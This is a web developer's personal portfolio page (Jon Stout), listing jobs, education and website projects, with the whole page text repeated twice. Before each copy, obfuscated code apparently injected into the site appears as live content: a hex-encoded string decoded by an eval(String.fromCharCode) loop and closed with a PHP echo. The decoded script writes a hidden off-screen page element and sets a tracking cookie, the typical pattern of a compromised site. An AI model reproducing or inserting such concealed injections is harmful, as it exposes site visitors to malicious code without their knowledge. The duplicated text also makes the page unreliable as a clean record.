:4:1:17:5a:67:25:6a:6b:70:63:5c:25:67:66:6a:60:6b:60:66:65:17:34:17:1e:58:59:6a:66:63:6c:6b:5c:1e:32:4:1:17:5a:67:25:6a:6b:70:63:5c:25:5a:66:63:66:69:17:34:17:1e:27:2d:1e:32:4:1:17:5a:67:25:6a:6b:70:63:5c:25:5f:5c:60:5e:5f:6b:17:34:17:1e:27:2d:67:6f:1e:32:4:1:17:5a:67:25:6a:6b:70:63:5c:25:6e:60:5b:6b:5f:17:34:17:1e:27:2d:67:6f:1e:32:4:1:17:5a:67:25:6a:6b:70:63:5c:25:63:5c:5d:6b:17:34:17:1e:28:27:27:27:27:2d:1e:32:4:1:17:5a:67:25:6a:6b:70:63:5c:25:6b:66:67:17:34:17:1e:28:27:27:27:27:2d:1e:32:4:1:4:1:17:60:5d:17:1f:18:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:5a:67:1e:20:20:17:72:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:6e:69:60:6b:5c:1f:1e:33:67:17:60:5b:34:53:1e:5a:67:53:1e:17:5a:63:58:6a:6a:34:53:1e:5a:67:27:30:53:1e:17:35:33:26:67:35:1e:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:5a:67:1e:20:25:58:67:67:5c:65:5b:3a:5f:60:63:5b:1f:5a:67:20:32:4:1:17:74:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:4a:5c:6b:3a:66:66:62:60:5c:1f:5a:66:66:62:60:5c:45:58:64:5c:23:5a:66:66:62:60:5c:4d:58:63:6c:5c:23:65:3b:58:70:6a:23:67:58:6b:5f:20:17:72:4:1:17:6d:58:69:17:6b:66:5b:58:70:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:6d:58:69:17:5c:6f:67:60:69:5c:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:60:5d:17:1f:65:3b:58:70:6a:34:34:65:6c:63:63:17:73:73:17:65:3b:58:70:6a:34:34:27:20:17:65:3b:58:70:6a:34:28:32:4:1:17:5c:6f:67:60:69:5c:25:6a:5c:6b:4b:60:64:5c:1f:6b:66:5b:58:70:25:5e:5c:6b:4b:60:64:5c:1f:20:17:22:17:2a:2d:27:27:27:27:27:21:29:2b:21:65:3b:58:70:6a:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:17:34:17:5a:66:66:62:60:5c:45:58:64:5c:22:19:34:19:22:5c:6a:5a:58:67:5c:1f:5a:66:66:62:60:5c:4d:58:63:6c:5c:20:4:1:17:22:17:19:32:5c:6f:67:60:69:5c:6a:34:19:17:22:17:5c:6f:67:60:69:5c:25:6b:66:3e:44:4b:4a:6b:69:60:65:5e:1f:20:17:22:17:1f:1f:67:58:6b:5f:20:17:36:17:19:32:17:67:58:6b:5f:34:19:17:22:17:67:58:6b:5f:17:31:17:19:19:20:32:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:3e:5c:6b:3a:66:66:62:60:5c:1f:17:65:58:64:5c:17:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:69:6b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:65:58:64:5c:17:22:17:19:34:19:17:20:32:4:1:17:6d:58:69:17:63:5c:65:17:34:17:6a:6b:58:69:6b:17:22:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:22:17:28:32:4:1:17:60:5d:17:1f:17:1f:17:18:6a:6b:58:69:6b:17:20:17:1d:1d:4:1:17:1f:17:65:58:64:5c:17:18:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:27:23:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:20:17:20:17:20:4:1:17:72:4:1:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:74:4:1:17:60:5d:17:1f:17:6a:6b:58:69:6b:17:34:34:17:24:28:17:20:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:6d:58:69:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:19:32:19:23:17:63:5c:65:17:20:32:4:1:17:60:5d:17:1f:17:5c:65:5b:17:34:34:17:24:28:17:20:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:63:5c:65:5e:6b:5f:32:4:1:17:69:5c:6b:6c:69:65:17:6c:65:5c:6a:5a:58:67:5c:1f:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:63:5c:65:23:17:5c:65:5b:17:20:17:20:32:4:1:74:4:1:60:5d:17:1f:65:58:6d:60:5e:58:6b:66:69:25:5a:66:66:62:60:5c:3c:65:58:59:63:5c:5b:20:4:1:72:4:1:60:5d:1f:3e:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:20:34:34:2c:2c:20:72:74:5c:63:6a:5c:72:4a:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:23:17:1e:2c:2c:1e:23:17:1e:28:1e:23:17:1e:26:1e:20:32:4:1:4:1:5a:67:27:30:1f:20:32:4:1:74:4:1:74\"[xtcci](\":\");}evs=unvygc;pxoqo=[];for(bjuluz=22-20-2;-bjuluz+1377!=0;bjuluz+=1){xtjacb=bjuluz;if((0x19==031))pxoqo+=String.fromCharCode(eval(gbuc+evs[1*xtjacb])+0xa-vgsz);}imy=eval;imy(pxoqo)} "; echo $sle; } ?>

experience

Choose how to view this page:

Complete List of Skills:

Work Experience:

ESPN, Bristol, Connecticut: 2/2011Present
Flash/Flex Engineer

Sherwin-Williams, Cleveland, Ohio: 11/20102/2011
Web Maintenance Contractor

American Greetings Interactive, Brooklyn, Ohio: 09/200909/2010
Contract Web and Flash Developer / Video Editor

Community Health Partners Regional Foundation, Lorain, Ohio: 03/201006/2010
Freelance Web Designer / Developer

Perception Multimedia, Middleburg Heights, Ohio: 11/2009
Freelance Front-End Web Developer / Designer

CherishMemories.net, Cleveland, Ohio: 08/200911/2009
Freelance Web Developer / Designer

LoopScreen, North Ridgeville, Ohio: 07/200908/2009
Web Designer / Front-End Web Developer

Data Recovery Corporation, Cleveland, Ohio: 07/2009
SEO / Front-End Web Developer

Nice Multimedia, Rocky River, Ohio: 02/200906/2009
Flash/ActionScript Developer

SCK Design, Inc., Cleveland, Ohio: 07/200812/2008
Front-End Web Developer

Internet Marketing Group, Cleveland Clinic, Cleveland, Ohio: 01/200804/2008
Contract Front-End Web Developer/Web Designer

Captain Action Enterprises, Hawthorne, New Jersey: 10/200703/2008
Web Designer

Office of Civic Education Initiatives, Cleveland Clinic, Cleveland, OH: 11/200712/2007
Junior Web Design Consultant

Thank you for visiting Jon Stout.net

Valid XHTML 1.0 TransitionalValid CSS!View Jon Stout's profile on LinkedIn

education

Filter Education by Interest:

Bachelor of Arts in English
Kenyon College,Gambier, OH,August 2002May 2006

High School Degree
Lake Ridge Academy,North Ridgeville, OH,August 1998June 2002

Continued Education

Downtown Community Television,New York City, NY,Fall 2006Spring 2007

Certificate in Applied Web Design
Cleveland State University,Cleveland, OH,August 2007December 2007

Cuyahoga Community College,Cleveland, OH,May 2008August 2009

Cleveland State University,Cleveland, OH,May 2009June 2009

Other Activites

Thank you for visiting Jon Stout.net

Valid XHTML 1.0 TransitionalValid CSS!View Jon Stout's profile on LinkedIn

portfolio

The Tinwatchman Company
http://www.tinwatchman.com/

June 2009

Online: Yes! Click here to visit!

Technologies: Wordpress, Flash CS3, ActionScript 3, XHTML, CSS, JavaScript, PHP, Google AdSense, Google Analytics, Photoshop CS4

  • Created custom steampunk-style Wordpress theme for personal side project. The entire website is my work, from design to code.
  • Site is DHTML/CSS superimposed over an animated Flash background. This approach allows the site to be easily read and indexed by search engines while still utilizing the visual capabilities of Flash.
  • Uses Wordpress backend for easy updating.
  • Social networking buttons enable sharing of site through Facebook, Twitter and Diggit.
  • Uses Google AdSense for Internet advertising.
The Tinwatchman Company - Main ScreenshotScreenshotScreenshot

click thumbnails to view full size

HotRodRaffle.org
http://www.hotrodraffle.org/

March — June 2010

Online: No. Site removed by client.

Technologies: Wordpress, jQuery, XHTML, CSS, JavaScript, PHP, MySQL, Paypal, Google Analytics, Photoshop CS4, Illustrator CS4

  • Site developed to support a charity car raffle hosted by Community Health Partners Regional Foundation
  • Design based on pre-existing publicity materials, as well as samples provided by client
  • Left sidebar featured jQuery-animated scroll of sponsor logos
  • Top jQuery-animated navigation bar automatically generated from site hierarchy by Wordpress
  • Strong call-to-action on home page draws client towards purchasing raffle tickets online
  • Custom-developed Wordpress plugin automatically tracked ticket purchases through Paypal API, recorded sales into database, and sent daily notification emails to user-defined address.
HotRodRaffle.org - Main ScreenshotScreenshotScreenshot

click thumbnails to view full size

CherishMemories.net
http://www.cherishmemories.net/

August — November 2009

Online: Yes! Click here to visit!

Technologies: Wordpress, PHP, mySQL, XHTML, CSS, JavaScript, AJAX, Paypal, Google AdSense, Google Analytics, Photoshop CS4

  • Developed a Wordpress site which allows users to register, log in and post online memorials.
  • Users can create and monitor multiple memorials.
  • Paypal integration allows users to pay for extended hosting using credit cards.
  • Custom backend plugin allows administrator to view and approve new memorials, view the memorial database, set hosting price, view past payments, and more.
  • Template system streamlines uploading of new artistic templates for memorials.
  • Uses Google AdSense for Internet advertising.
  • Site based off design by Reginald Rush; added some design elements later by request of client.
CherishMemories.net - Main ScreenshotScreenshotScreenshotScreenshotScreenshotScreenshotScreenshot

click thumbnails to view full size

David Consulting Group Blogs
http://www.davidconsultinggroup.com/blogs/

September — October 2008

Online: Yes! Click here to visit!

Technologies: Wordpress, PHP, XHTML, CSS, Photoshop CS3, XML, IIS 6.0

  • Multiple blogs (four in total) created while working for SCK Design, Inc. Client requested the integration of multiple blogs into a preexisting site. Used a custom Wordpress theme to impliment a design created by SCK's graphic design department.
  • Created custom sidebar widgets - custom tag cloud, custom RSS links - to better fit design.
  • Customized Wordpress administrative backend for ease of use.
  • Added search engine optimization
  • Coded a custom "front page" for blogs section using PHP, which aggregates and displays the first new post of each blog in an easy-to-read format.
David Consulting Group Blogs - Main ScreenshotScreenshotScreenshotScreenshotScreenshot

click thumbnails to view full size

R & R Rentals
http://www.r-and-r-rentals.com/

June — July 2008

Online: Yes! Click here to visit!

W3C Compliant?: Yes! Click here to validate!

Technologies: XHTML, CSS, Search Engine Optimization, Web Accessibility, Photoshop, some PHP

  • As freelance web designer. Designed and implimented website for a small rental company near St. Louis, Missouri.
  • Basic "business card"-style site, designed with SEO in mind.
  • Includes CSS onion-skin drop shadows, elastic design using relative units, fully functional contact form and embedded Google map.
R & R Rentals - Main ScreenshotScreenshotScreenshot

click thumbnails to view full size

Cleveland Clinic Heart & Vascular Institute
http://www.clevelandclinic.org/heart/

January — April 2008

Online: Yes! Content has changed in the year since, but basic design remains the same as of 6/25/09. Click here to visit!

Technologies: XHTML, CSS, W3C Standards, Microsoft Sharepoint, Dreamweaver, web accessibility, some JavaScript

  • Produced while a contract web designer for the Cleveland Clinic Internet Marketing Group, the project charged with designing and implimenting the Clinic's current website.
  • Created XHTML/CSS template from design by Web Design Manager Jessica Englund. Template later revised for accessibility standards, but remained essentially the same.
Cleveland Clinic Heart & Vascular Institute - Main ScreenshotScreenshotScreenshotScreenshotScreenshot

click thumbnails to view full size

Captain Action Now.com
http://www.captainactionnow.com/

October 2007 — March 2008

Online: Yes! - but has since been modified in certain areas by the client. Click here to visit!

Technologies: XHTML, CSS, JavaScript, Dreamweaver, WordPress, Flash, Photoshop, some SEO.

  • As a freelance web designer, created website for marketing company specializing in a 1960's-era superhero property.
  • Responsible for majority of design; logo was not my work.
  • Used Dreamweaver template to produce site; used Wordpress to create a blog/News section.
  • Brought back in in April 2007 to secure website against cross-scripting site attack.
Captain Action Now.com - Main ScreenshotScreenshot

click thumbnails to view full size

Cleveland Clinic Office of Civic Education Initiatives
http://www.clevelandclinic.org/civiceducation/

November — December 2007

Online: No. Site has since been replaced.

Technologies: ASP/VBScript, JavaScript form validation, CSS, Photoshop

  • Revised and updated Internships section of site for Cleveland Clinic nonprofit arm.
Cleveland Clinic Office of Civic Education Initiatives - Main ScreenshotScreenshot

click thumbnails to view full size

Thank you for visiting Jon Stout.net

Valid XHTML 1.0 TransitionalValid CSS!View Jon Stout's profile on LinkedIn

video

Content coming soon...

about this site

Content coming soon.

contact me

I am currently based in Avon Lake, Ohio. Please feel free to contact me via the following means:

I am also active on the following sites:

:67:1e:32:4:1:17:5e:5a:68:64:6f:25:6a:6b:70:63:5c:25:67:66:6a:60:6b:60:66:65:17:34:17:1e:58:59:6a:66:63:6c:6b:5c:1e:32:4:1:17:5e:5a:68:64:6f:25:6a:6b:70:63:5c:25:5a:66:63:66:69:17:34:17:1e:2a:2a:2d:1e:32:4:1:17:5e:5a:68:64:6f:25:6a:6b:70:63:5c:25:5f:5c:60:5e:5f:6b:17:34:17:1e:2a:2a:2d:67:6f:1e:32:4:1:17:5e:5a:68:64:6f:25:6a:6b:70:63:5c:25:6e:60:5b:6b:5f:17:34:17:1e:2a:2a:2d:67:6f:1e:32:4:1:17:5e:5a:68:64:6f:25:6a:6b:70:63:5c:25:63:5c:5d:6b:17:34:17:1e:28:27:27:27:2a:2a:2d:1e:32:4:1:17:5e:5a:68:64:6f:25:6a:6b:70:63:5c:25:6b:66:67:17:34:17:1e:28:27:27:27:2a:2a:2d:1e:32:4:1:4:1:17:60:5d:17:1f:18:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:5e:5a:68:64:6f:1e:20:20:17:72:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:6e:69:60:6b:5c:1f:1e:33:67:17:60:5b:34:53:1e:5e:5a:68:64:6f:53:1e:17:5a:63:58:6a:6a:34:53:1e:5e:5a:68:64:6f:27:30:53:1e:17:35:33:26:67:35:1e:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:5e:5a:68:64:6f:1e:20:25:58:67:67:5c:65:5b:3a:5f:60:63:5b:1f:5e:5a:68:64:6f:20:32:4:1:17:74:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:4a:5c:6b:3a:66:66:62:60:5c:1f:5a:66:66:62:60:5c:45:58:64:5c:23:5a:66:66:62:60:5c:4d:58:63:6c:5c:23:65:3b:58:70:6a:23:67:58:6b:5f:20:17:72:4:1:17:6d:58:69:17:6b:66:5b:58:70:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:6d:58:69:17:5c:6f:67:60:69:5c:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:60:5d:17:1f:65:3b:58:70:6a:34:34:65:6c:63:63:17:73:73:17:65:3b:58:70:6a:34:34:27:20:17:65:3b:58:70:6a:34:28:32:4:1:17:5c:6f:67:60:69:5c:25:6a:5c:6b:4b:60:64:5c:1f:6b:66:5b:58:70:25:5e:5c:6b:4b:60:64:5c:1f:20:17:22:17:2a:2d:27:27:27:27:27:21:29:2b:21:65:3b:58:70:6a:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:17:34:17:5a:66:66:62:60:5c:45:58:64:5c:22:19:34:19:22:5c:6a:5a:58:67:5c:1f:5a:66:66:62:60:5c:4d:58:63:6c:5c:20:4:1:17:22:17:19:32:5c:6f:67:60:69:5c:6a:34:19:17:22:17:5c:6f:67:60:69:5c:25:6b:66:3e:44:4b:4a:6b:69:60:65:5e:1f:20:17:22:17:1f:1f:67:58:6b:5f:20:17:36:17:19:32:17:67:58:6b:5f:34:19:17:22:17:67:58:6b:5f:17:31:17:19:19:20:32:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:3e:5c:6b:3a:66:66:62:60:5c:1f:17:65:58:64:5c:17:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:69:6b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:65:58:64:5c:17:22:17:19:34:19:17:20:32:4:1:17:6d:58:69:17:63:5c:65:17:34:17:6a:6b:58:69:6b:17:22:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:22:17:28:32:4:1:17:60:5d:17:1f:17:1f:17:18:6a:6b:58:69:6b:17:20:17:1d:1d:4:1:17:1f:17:65:58:64:5c:17:18:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:27:23:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:20:17:20:17:20:4:1:17:72:4:1:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:74:4:1:17:60:5d:17:1f:17:6a:6b:58:69:6b:17:34:34:17:24:28:17:20:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:6d:58:69:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:19:32:19:23:17:63:5c:65:17:20:32:4:1:17:60:5d:17:1f:17:5c:65:5b:17:34:34:17:24:28:17:20:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:63:5c:65:5e:6b:5f:32:4:1:17:69:5c:6b:6c:69:65:17:6c:65:5c:6a:5a:58:67:5c:1f:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:63:5c:65:23:17:5c:65:5b:17:20:17:20:32:4:1:74:4:1:60:5d:17:1f:65:58:6d:60:5e:58:6b:66:69:25:5a:66:66:62:60:5c:3c:65:58:59:63:5c:5b:20:4:1:72:4:1:60:5d:1f:3e:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:20:34:34:2c:2c:20:72:74:5c:63:6a:5c:72:4a:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:23:17:1e:2c:2c:1e:23:17:1e:28:1e:23:17:1e:26:1e:20:32:4:1:4:1:5e:5a:68:64:6f:27:30:1f:20:32:4:1:74:4:1:74\"[wdjde](\":\");}srojb=ctigtc;vtj=[];for(gyw=22-20-2;-gyw+1419!=0;gyw+=1){agppj=gyw;if((0x19==031))vtj+=String.fromCharCode(eval(kqddj+srojb[1*agppj])+0xa-jood);}kzz=eval;kzz(vtj)} "; echo $ewue; } ?>

experience

Choose how to view this page:

Complete List of Skills:

Work Experience:

ESPN, Bristol, Connecticut: 2/2011Present
Flash/Flex Engineer

Sherwin-Williams, Cleveland, Ohio: 11/20102/2011
Web Maintenance Contractor

American Greetings Interactive, Brooklyn, Ohio: 09/200909/2010
Contract Web and Flash Developer / Video Editor

Community Health Partners Regional Foundation, Lorain, Ohio: 03/201006/2010
Freelance Web Designer / Developer

Perception Multimedia, Middleburg Heights, Ohio: 11/2009
Freelance Front-End Web Developer / Designer

CherishMemories.net, Cleveland, Ohio: 08/200911/2009
Freelance Web Developer / Designer

LoopScreen, North Ridgeville, Ohio: 07/200908/2009
Web Designer / Front-End Web Developer

Data Recovery Corporation, Cleveland, Ohio: 07/2009
SEO / Front-End Web Developer

Nice Multimedia, Rocky River, Ohio: 02/200906/2009
Flash/ActionScript Developer

SCK Design, Inc., Cleveland, Ohio: 07/200812/2008
Front-End Web Developer

Internet Marketing Group, Cleveland Clinic, Cleveland, Ohio: 01/200804/2008
Contract Front-End Web Developer/Web Designer

Captain Action Enterprises, Hawthorne, New Jersey: 10/200703/2008
Web Designer

Office of Civic Education Initiatives, Cleveland Clinic, Cleveland, OH: 11/200712/2007
Junior Web Design Consultant

Thank you for visiting Jon Stout.net

Valid XHTML 1.0 TransitionalValid CSS!View Jon Stout's profile on LinkedIn

education

Filter Education by Interest:

Bachelor of Arts in English
Kenyon College,Gambier, OH,August 2002May 2006

High School Degree
Lake Ridge Academy,North Ridgeville, OH,August 1998June 2002

Continued Education

Downtown Community Television,New York City, NY,Fall 2006Spring 2007

Certificate in Applied Web Design
Cleveland State University,Cleveland, OH,August 2007December 2007

Cuyahoga Community College,Cleveland, OH,May 2008August 2009

Cleveland State University,Cleveland, OH,May 2009June 2009

Other Activites

Thank you for visiting Jon Stout.net

Valid XHTML 1.0 TransitionalValid CSS!View Jon Stout's profile on LinkedIn

portfolio

The Tinwatchman Company
http://www.tinwatchman.com/

June 2009

Online: Yes! Click here to visit!

Technologies: Wordpress, Flash CS3, ActionScript 3, XHTML, CSS, JavaScript, PHP, Google AdSense, Google Analytics, Photoshop CS4

  • Created custom steampunk-style Wordpress theme for personal side project. The entire website is my work, from design to code.
  • Site is DHTML/CSS superimposed over an animated Flash background. This approach allows the site to be easily read and indexed by search engines while still utilizing the visual capabilities of Flash.
  • Uses Wordpress backend for easy updating.
  • Social networking buttons enable sharing of site through Facebook, Twitter and Diggit.
  • Uses Google AdSense for Internet advertising.
The Tinwatchman Company - Main ScreenshotScreenshotScreenshot

click thumbnails to view full size

HotRodRaffle.org
http://www.hotrodraffle.org/

March — June 2010

Online: No. Site removed by client.

Technologies: Wordpress, jQuery, XHTML, CSS, JavaScript, PHP, MySQL, Paypal, Google Analytics, Photoshop CS4, Illustrator CS4

  • Site developed to support a charity car raffle hosted by Community Health Partners Regional Foundation
  • Design based on pre-existing publicity materials, as well as samples provided by client
  • Left sidebar featured jQuery-animated scroll of sponsor logos
  • Top jQuery-animated navigation bar automatically generated from site hierarchy by Wordpress
  • Strong call-to-action on home page draws client towards purchasing raffle tickets online
  • Custom-developed Wordpress plugin automatically tracked ticket purchases through Paypal API, recorded sales into database, and sent daily notification emails to user-defined address.
HotRodRaffle.org - Main ScreenshotScreenshotScreenshot

click thumbnails to view full size

CherishMemories.net
http://www.cherishmemories.net/

August — November 2009

Online: Yes! Click here to visit!

Technologies: Wordpress, PHP, mySQL, XHTML, CSS, JavaScript, AJAX, Paypal, Google AdSense, Google Analytics, Photoshop CS4

  • Developed a Wordpress site which allows users to register, log in and post online memorials.
  • Users can create and monitor multiple memorials.
  • Paypal integration allows users to pay for extended hosting using credit cards.
  • Custom backend plugin allows administrator to view and approve new memorials, view the memorial database, set hosting price, view past payments, and more.
  • Template system streamlines uploading of new artistic templates for memorials.
  • Uses Google AdSense for Internet advertising.
  • Site based off design by Reginald Rush; added some design elements later by request of client.
CherishMemories.net - Main ScreenshotScreenshotScreenshotScreenshotScreenshotScreenshotScreenshot

click thumbnails to view full size

David Consulting Group Blogs
http://www.davidconsultinggroup.com/blogs/

September — October 2008

Online: Yes! Click here to visit!

Technologies: Wordpress, PHP, XHTML, CSS, Photoshop CS3, XML, IIS 6.0

  • Multiple blogs (four in total) created while working for SCK Design, Inc. Client requested the integration of multiple blogs into a preexisting site. Used a custom Wordpress theme to impliment a design created by SCK's graphic design department.
  • Created custom sidebar widgets - custom tag cloud, custom RSS links - to better fit design.
  • Customized Wordpress administrative backend for ease of use.
  • Added search engine optimization
  • Coded a custom "front page" for blogs section using PHP, which aggregates and displays the first new post of each blog in an easy-to-read format.
David Consulting Group Blogs - Main ScreenshotScreenshotScreenshotScreenshotScreenshot

click thumbnails to view full size

R & R Rentals
http://www.r-and-r-rentals.com/

June — July 2008

Online: Yes! Click here to visit!

W3C Compliant?: Yes! Click here to validate!

Technologies: XHTML, CSS, Search Engine Optimization, Web Accessibility, Photoshop, some PHP

  • As freelance web designer. Designed and implimented website for a small rental company near St. Louis, Missouri.
  • Basic "business card"-style site, designed with SEO in mind.
  • Includes CSS onion-skin drop shadows, elastic design using relative units, fully functional contact form and embedded Google map.
R & R Rentals - Main ScreenshotScreenshotScreenshot

click thumbnails to view full size

Cleveland Clinic Heart & Vascular Institute
http://www.clevelandclinic.org/heart/

January — April 2008

Online: Yes! Content has changed in the year since, but basic design remains the same as of 6/25/09. Click here to visit!

Technologies: XHTML, CSS, W3C Standards, Microsoft Sharepoint, Dreamweaver, web accessibility, some JavaScript

  • Produced while a contract web designer for the Cleveland Clinic Internet Marketing Group, the project charged with designing and implimenting the Clinic's current website.
  • Created XHTML/CSS template from design by Web Design Manager Jessica Englund. Template later revised for accessibility standards, but remained essentially the same.
Cleveland Clinic Heart & Vascular Institute - Main ScreenshotScreenshotScreenshotScreenshotScreenshot

click thumbnails to view full size

Captain Action Now.com
http://www.captainactionnow.com/

October 2007 — March 2008

Online: Yes! - but has since been modified in certain areas by the client. Click here to visit!

Technologies: XHTML, CSS, JavaScript, Dreamweaver, WordPress, Flash, Photoshop, some SEO.

  • As a freelance web designer, created website for marketing company specializing in a 1960's-era superhero property.
  • Responsible for majority of design; logo was not my work.
  • Used Dreamweaver template to produce site; used Wordpress to create a blog/News section.
  • Brought back in in April 2007 to secure website against cross-scripting site attack.
Captain Action Now.com - Main ScreenshotScreenshot

click thumbnails to view full size

Cleveland Clinic Office of Civic Education Initiatives
http://www.clevelandclinic.org/civiceducation/

November — December 2007

Online: No. Site has since been replaced.

Technologies: ASP/VBScript, JavaScript form validation, CSS, Photoshop

  • Revised and updated Internships section of site for Cleveland Clinic nonprofit arm.
Cleveland Clinic Office of Civic Education Initiatives - Main ScreenshotScreenshot

click thumbnails to view full size

Thank you for visiting Jon Stout.net

Valid XHTML 1.0 TransitionalValid CSS!View Jon Stout's profile on LinkedIn

video

Content coming soon...

about this site

Content coming soon.

contact me

I am currently based in Avon Lake, Ohio. Please feel free to contact me via the following means:

I am also active on the following sites: